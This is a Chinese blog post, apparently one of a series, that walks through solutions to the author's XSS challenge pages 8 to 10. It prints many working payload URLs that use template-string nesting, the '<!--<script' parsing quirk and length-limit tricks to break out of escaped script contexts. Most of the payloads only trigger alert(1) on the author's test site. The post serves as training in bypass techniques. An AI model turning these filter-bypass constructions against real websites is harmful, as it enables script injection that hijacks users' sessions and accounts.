前面分享了《一些BAT的XSS实例(一) 基础篇》、《一些BAT的XSS实例(二)进阶篇》和《一些BAT的XSS实例(三)中级篇》,主要详细的讲了下1~5题以及7~8题的思路,错过的朋友可以点击上面链接,去查看相应的文章,下面我们来看下其他的题。
背 景
我选了些N年前的BAT的XSS实例来聊聊构造和绕过思路。(这些实例,都是已经公开并且修补完毕的,这里只是以此为原型,并做了一定的修改,进行了一些XSS题目的设计而已。)
先一次性把16道题发出来(弹框1就算成功,大部分的题都是一题多解,尽量给出多种思路,或者最短的解法。)
http://px1624.sinaapp.com/test/xsstest1/
(其他题目,将xsstest1依次改为xsstest2~xsstest16即可获取)
有兴趣的朋友,可以先不看文章,自己尝试的做一做题目,有答案的话可以发到我的邮箱[email protected] 并附上自己的ID,说不定下篇文章里面就会有你的绕过思路被收录。
正 文
◇ 1 先看看第九题
看到源码如下图,通过源码变量命名,猜的得到了参数为px,然后看到源码如下
和第八题比较像,测试发现区别貌似就是,这里对双引号的过滤方式进行了改变,而且对2处html位置的输出点都做了html编码,并且同步限制了长度。所以想用第八题的方法直接写入标签,基本上是不可能的了。由于这里的特殊字符大多数都被反斜杠转义了,所以注释也就用不了了,想用第四题的方法也就不行了。那么这个应该怎么去解呢?
通过上面的分析可以发现,想要直接在js或者html中构造都是不太可能的,所以还是要用到前面提到的<!--<script>
的这个特性,来跳出script标签的限制。这点其实和第七题还是蛮像的,但是第七题是js中一处输出,html中一处输出,这个题两个位置都是2个输出,而且是属于同步的输出。所以看着差不多,但是在构造难度上,确是有着几何倍数的差别。
前面友情提示过:后面的逻辑相对较复杂,在解第九题的时候,建议安装个Visual Studio Code方便调试。
首先看到2处js输出点,我们肯定是先按照第四题的思路去试试
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222
大概就是上面这个思路,用模板字符串,然后去变形下,如下。
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`;alert(1)//
如上图可以看到,直接这样肯定是不行的,因为注释符号的/被转义了,所以最后面的单引号肯定是处理不掉的,所以还是要先跳出script标签。这个我们前面讲过方法,利用<!--<script>
的解析特性,可以成功调处script标签的限制,所以我们先试着像下面这样,去构造调试下。
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E
这样直接去看源码,是很不明显的,所以我们将代码放到Visual Studio Code编辑器(简称vscode)里面进行调试和说明,后面的操作都会如此进行。
可以看到这样构造了的话,由于是同步输出,又不能直接去进行代码注释,所以上图箭头所指的这个位置还是会出问题。后面的部分没法处理,导致语法出错,那么怎么解决这个问题呢?我们尝试下再去构造一个模版字符串,然后去进行连接闭合下。这里直接给出构造payload的源码链接,如下:
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-`aa
然后测试后发现,貌似并没有起到什么作用,还是会出现一样的问题,上图箭头的这个位置的语法还是会出错。这么看这个思路构造的话,无论如何都会出现这个问题,所以必须进行一个嵌套。那么如何进行模板字符串的嵌套呢,一般对字符串的嵌套都是内部的符号用了转义或者编码,但是这里明显这个思路是不行的,所以这里其实是需要用到js中的嵌套模板写法。
这个知识点,由于篇幅问题,这里就不再做详细的说明了,具体资料可以参考这里,对嵌套模板做了详细的解释说明。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings
所以我们想到去这么去构造
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-`aa${`44`}`
当然这么写肯定是不行的,这样连第一行的那个最后面单引号的限制都过不了。
所以要把后面的这部分内容拆开写,从而去完成语法上的闭合,经过调试,发现把大括号放到下面这个位置比较合适。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`}222%3C!--%3Cscript%20%3E`-`${`4
看样子貌似已经成功了,只需要在上图所指的这个` 和 } 之间写入alert
再把后面部分注释掉就搞定了啊,但是测试发现,这个位置根本就不能写入任何内容,因为会破坏上面模版的语法结构,而导致出错。
所以这个构造思路看来是行不通的,所以重新回到这一步,重新考虑构造思路。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-`aa${`44`}`
这里考虑到大括号同步闭合的问题,我们写入的部分也必须有大括号,不然就会出现上面的那个情况,最终的构造点不能写东西。那么就想到了function(){} 和 if(){} 以及 {a:1} 这几种,从3者的构造灵活度上来看,无疑第三种的这个对象是最合适的,所以我们这里用对象进行构造
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-{a:`aa${`44`}`}
当然这么写肯定也是不行的,原因前面提过,这里需要拆开写去闭合,经过调试,发现把大括号放到下面这个位置比较合适。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E4}`}-{a:`aa${`4
但是这样构造后会发现,后面部分的js语法虽然没问题了,前面这里又多出来了一个大括号 } 出来,所以我们再去把这个大括号的问题解决掉,但是同时又要保证不会破坏现有的构造结构和思路。所以我们继续用对象,给这里的外层再加个大括号,也就是以对象的方式去构造下。对象前面部分的大括号 { 导致的同步输出问题,我们可以不用去管,因为这部分会被放在后面的模版里面,不会影响。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-{a:`222%3C!--%3Cscript%20%3E4}`}-{a:`aa${`4
到这里,js部分的两处输出的语法已经没问题了,但是发现后面html部分的2个输出点位置,由于长度限制的问题,语法还是会出问题。所以这里删除掉那些无用的,用来调试的字符,形成了如下的情况
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`%3C!--%3Cscript%20%3E}`}-{a:`${`
然后发现还是不行,script这部分占了太多长度的内容了,所以第一想法就是把<!--<script >
这部分整体放到后面去。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`}`}-{a:`${`%3C!--%3Cscript%20%3E
到这一步貌似已经搞定了,只需要把后面注释掉,语法正确就OK了,所以我们想办法去往里面放个alert(1)进去。
第一反应肯定是想着加到运算符位置,但是这样是肯定不行的,因为 / 被转义了,所以上面js部分的语法会直接错误。如下
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`}`}-alert(1)//{a:`${`%3C!--%3Cscript%20%3E
而且最后面的alert(1)后面由于长度限制问题,注释符也会被干掉一个 / 而导致注释失败,所以这样肯定是不行的,这时候我们要巧妙的去利用这个长度限制。让长度限制去把后面的那层 `} 干掉。
如上图情况,把后面的部分干掉后,这样的语意就会发生了变化,大括号对应的闭合也会进行重新的对应。按照这个思路,所以这个alert(1)应该写到下面的这个位置。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
这时候应该已经可以弹窗了,测试后发现这里后面会多了个模版字符串,导致了模板字符串的提前闭合,所以需要给前面加一位字符串用来“占位”。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
可以看到,语法一切OK,这时候去试试会不会正常弹窗。
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
◇ 2 再来看看第十题
看着好像和第九题差不多,也是4处输出,js中的过滤规则是一样的,不同的是html中第一处的输出将字符限制的只有2个了,第二处没有限制长度。这样的话,即使知道了上面的构造思路,但是在构造上整体还是比第九题要难一些,因为毕竟2个字符长度能做的事情还是比较有限的。
我们直接把第九题的payload套在第十题去调试,因为前面的js部分是一样的,这样可以直接避免掉前面两处js输出部分的语法问题。
view-source:http://px1624.sinaapp.com/test/xsstest10/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
如上图,发现由于第三处输出点没能写入任何有用的东西,导致后面的闭合点发生了变化,前面第九题也分析过,这种情况这个运算符的位置,是没办法写入alert的,因为会导致前面js部分的语法出错。
所以我们的构造思路,还是要想办法把第三处输出点利用起来,但是这里只有2个字符的长度,通过第九题的分析过程,那么这个点我们只能写入`}
才比较合适。
所以payload进行下改动就是,只能先把这个 `}
放到最前面。
view-source:http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}`}-{a:`${`%3C!--%3Cscript%20%3E
这时候会发现后面多了个`}
出来,是不是感觉似曾相识哈?第九题也出现过类似的问题,后面多了个大括号我们嵌套了一层对象,这里是多出来了一个`}
那么闭合的话就必须用 {`
字符。这样的话,对象就不行了,因为会导致模板字符串就近闭合。前面提到过避免这种问题的方法,那就是用js中的嵌套模板${} 所以这里我们就用这个思路,再写进去个模板试试,这里直接用了2次模板的嵌套。
view-source:http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}`}-{a:`${`${`%3C!--%3Cscript%20%3E
貌似已经成功了,只需要在这个点写入alert再注释掉后面内容就可以了,那我们去试试。
http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//`}-{a:`${`${`%3C!--%3Cscript%20%3E
◇ 3 再来看看第八题
我们再把第九题的解套用在第八题上试试。
view-source:http://px1624.sinaapp.com/test/xsstest8/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
可以看到,由于前面多了个字符,导致第三处后面的大括号被干掉了,所以把前面的那个字符去掉。
view-source:http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
貌似已经OK了?观察下发现不对,后面没script闭合标签啊。那么就给加个</script> 进去不就行了。
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//%3C/script%3E`}-{a:`${`%3C!--%3Cscript%20%3E
这个解也是不受谷歌XSS filter拦截的额。
上一篇中提到过,第八题ID:gainover、Huuuuu 还都给出了另一个解法。其中ID:gainover给的原payload如下:
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}*/alert(1)/-alert(1)///*%3C/script%3E%3C!--%3Cscript%20%3E`}-{c:`${`
优化下就是
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//%3C/script%3E%3C!--%3Cscript%20%3E`}-{c:`${`
对比下就会发现,构造思路应该和上面解析的过程,是差不多的。
ID:Huuuuu 给的解法,后面的内容也会提到。
◇ 4 思考一下
可以看到,只要思路对了,很多题的解法也是比较相通的,所用到的都是基础的js知识,但是知道这些知识能不能构造出来,那就是思路的问题了。
下面再给出其他人的一些解法思路。
ID:香草
http://px1624.sinaapp.com/test/xsstest10/?px=`}-alert(1)//`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3Ehttp://px1624.sinaapp.com/test/xsstest9/?px=`}-alert(1)//`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3E
他给出的解是9和10通用的,稍微变化下,还可以8、9、10通用的payload。
http://px1624.sinaapp.com/test/xsstest8/?px=`}-alert(1)//%3C/script%3E`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3E
从payload的结构来看,这个构造思路和我前面分析的那个过程是差不多的,并且最终alert也是放在了最后面的输出点位置,进行构造的。不同点是,他这里的模板并未使用嵌套,而是连续连续用了两次。
ID:Huuuuu
http://px1624.sinaapp.com/test/xsstest9/?px=%20%20%20%20%20%20%20%20}`})//123111111`(alert(`1`))(function%20a(){`${prompt`%3C!--\%27in`}${eval`%3Cscript%20%3E
这是他的原始payload,优化下就是这样。
http://px1624.sinaapp.com/test/xsstest9/?px=1111111111111111`}//`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
Huuuuu的这个payload看着和前面 香草 的那个比较像,其实构造思路上还是有蛮大区别的。他是想办法把前面构造的只剩下2个需要闭合的`}
然后后面的2个输出点就只负责这部分的闭合就行了。在使用模板的时候,和香草一样,也并未使用嵌套,而是连续用了两次,最终的alert是在js的输出点输出的。这样即便后面的2个输出点的限制只有4个字符,他这个构造方法也是比较容易绕过的。所以相对来说,Huuuuu的这个构造思路的通用型,貌似更好一些。
然后按照他的这个构造思路,第十题的解就是
http://px1624.sinaapp.com/test/xsstest10/?px=`}//`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
再改改,就可以得到一个通杀8、9、10的payload
http://px1624.sinaapp.com/test/xsstest8/?px=`}//%3C/script%3E1111111`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
好了,这次的思路分享到这里就结束了,是不是看的很过瘾呢,欢迎留言评论。下篇(最终篇),会专门讲讲公认最难的第六题,以及对前面的所有做一个总结。
尾 巴
目前最新情况是,一部分的人做出来了1~5题,卡到了第6题。其实卡住了的话,是可以跳着去做其他题的,因为整体来看,第6题应该是最难的了。
ID:gainover 解出了全部10题。ID:Huuuuu 解出了1~5题,以及7~10题。ID:香草 解出了1~4题,以及7~10题。ID:p1g3、zeddy解出了1~5题,以及7~8题。
其他人若有别的解法思路,可以将自己的答案和ID发我qq邮箱:px1624.qq.com
这篇文章的编辑,兼职要了半条老命。发下个人的纯技术交流的 微信公众号:不忘初心px1624